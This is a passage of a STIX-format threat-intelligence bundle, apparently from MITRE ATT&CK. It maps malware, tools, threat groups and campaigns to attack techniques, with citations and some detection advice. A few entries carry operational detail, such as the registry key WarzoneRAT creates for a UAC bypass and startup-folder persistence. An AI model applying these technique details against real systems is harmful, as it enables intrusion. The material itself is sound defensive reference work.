2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4287de65-be1d-44aa-9c50-9c391e321597","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"}],"modified":"2020-03-19T17:04:02.442Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Visual Basic script in the Startup folder to deploy the payload.(Citation: Malwarebytes SmokeLoader 2016)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42897880-fe55-4f54-a42c-f85ba19fb39a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.438Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--428a1a44-f1bc-4589-94de-946233489905","created":"2022-06-06T18:10:57.367Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has established fraudulent LinkedIn accounts impersonating HR department employees to target potential victims with fake job offers.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-09-01T16:00:17.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42914dfa-9644-4bf6-bb5f-45c0e3303d7b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.247Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can upload and download files to the victim’s machine.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4293a182-e45b-4043-a5e7-d0ef8ae3a863","created":"2024-02-16T17:02:54.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T17:55:37.807Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) includes a binary labeled `authd` that can inject a library into a running process and then hook an existing function within that process with a new function from that library.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42987bea-821d-4505-a92c-49da325980f6","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for DLL/PE file events, such as the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--429bf982-fdf7-4404-9544-2cc7942b5939","created":"2024-06-10T19:34:29.488Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:34:29.488Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) gathers victim IP information during initial installation stages.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--42a2aec6-4efb-44d0-8ae8-32a208c05da6","created":"2022-04-07T15:24:55.474Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can create `HKCU\\Software\\Classes\\Folder\\shell\\open\\command` as a new registry key during privilege escalation.(Citation: Uptycs Warzone UAC Bypass November 2020)(Citation: Check Point Warzone Feb 2020) ","modified":"2022-04-07T15:24:55.474Z","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42a6136c-1aaf-4df1-b7cb-aceb7252f1e0","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor external websites for unplanned content changes.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42a87d45-8dd1-4767-a6a2-d7bd19d3b0ef","type":"relationship","created":"2020-11-20T14:11:33.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-20T14:11:33.261Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect information about local groups and members.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42aa16be-5b53-4645-998b-9eb5de8c0429","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2020-03-17T01:26:23.876Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) uses HTTP for C2.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42af62e7-3e38-46e7-ac70-c557f33d377d","created":"2023-04-07T22:45:08.705Z","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T22:45:08.706Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors opened a variety of ports, including ports 28035, 32467, 41578, and 46892, to establish RDP connections.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42c6147c-8626-4ea1-bc69-7b35ea69e2ed","created":"2022-01-11T14:58:01.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.924Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) reports window names along with keylogger information to provide application context.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42cc506f-e9c2-43f1-a68f-3c6973cca2dc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"}],"modified":"2019-04-22T22:36:52.972Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can use WMI queries to retrieve data from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42ce3f19-e995-4a9e-b7d6-74a5a28824f9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can collect system information.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--4189a679-72ed-4a89-a57c-7f689712ecf8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42d043a1-0b6f-4acd-aea2-553579eb49c2","created":"2023-07-25T20:25:18.433Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T20:25:18.433Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42d0b653-1d08-4e7b-910f-753412fda316","type":"relationship","created":"2020-09-22T20:17:38.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-09-22T20:17:38.795Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has exploited Oracle WebLogic vulnerabilities for initial compromise.(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--42d2f7f0-9548-4bdd-9e88-7200a9e91b57","created":"2020-06-22T15:45:19.036Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a tool to query Active Directory using LDAP, discovering information about computers listed in AD.(Citation: ESET Telebots Dec 2016)(Citation: Dragos Crashoverride 2018) ","modified":"2022-06-30T20:19:13.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42d2f816-9db2-47bf-9481-3065d038725d","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.859Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) actors have been known to copy files to the network shares of other computers to move laterally.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42d4ae64-75da-4dfd-b23f-d270252115ee","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2020-03-18T15:39:28.535Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as “Net Monitor.\"(Citation: Cymmetria Patchwork) They have also dropped [QuasarRAT](https://attack.mitre.org/software/S0262) binaries as files named microsoft_network.exe and crome.exe.(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42d6cd7c-a512-4fb9-a625-d21152b60f22","created":"2022-03-25T20:13:11.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Hermetic Wizard March 2022","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine"},{"source_name":"Crowdstrike DriveSlayer February 2022","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:20:40.535Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can disable pop-up information about folders and desktop items and delete Registry keys to hide malicious services.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42d6f63e-6a97-4efb-973e-77df10275605","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-20T02:12:29.722Z","description":"[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of retrieving information about the infected system.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42ddce39-b653-4466-b7ff-a9554029f1c6","created":"2019-02-21T21:17:37.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.778Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has been seen using RDP for lateral movement and persistence, in some cases employing the rdpwinst tool for mangement of multiple sessions.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42de94e7-86f3-41d9-9e01-45fff8be1451","created":"2020-03-17T03:07:38.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"},{"source_name":"ProofPoint Ursnif Aug 2016","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"},{"source_name":"FireEye Ursnif Nov 2017","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.892Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used HTTP POSTs to exfil gathered 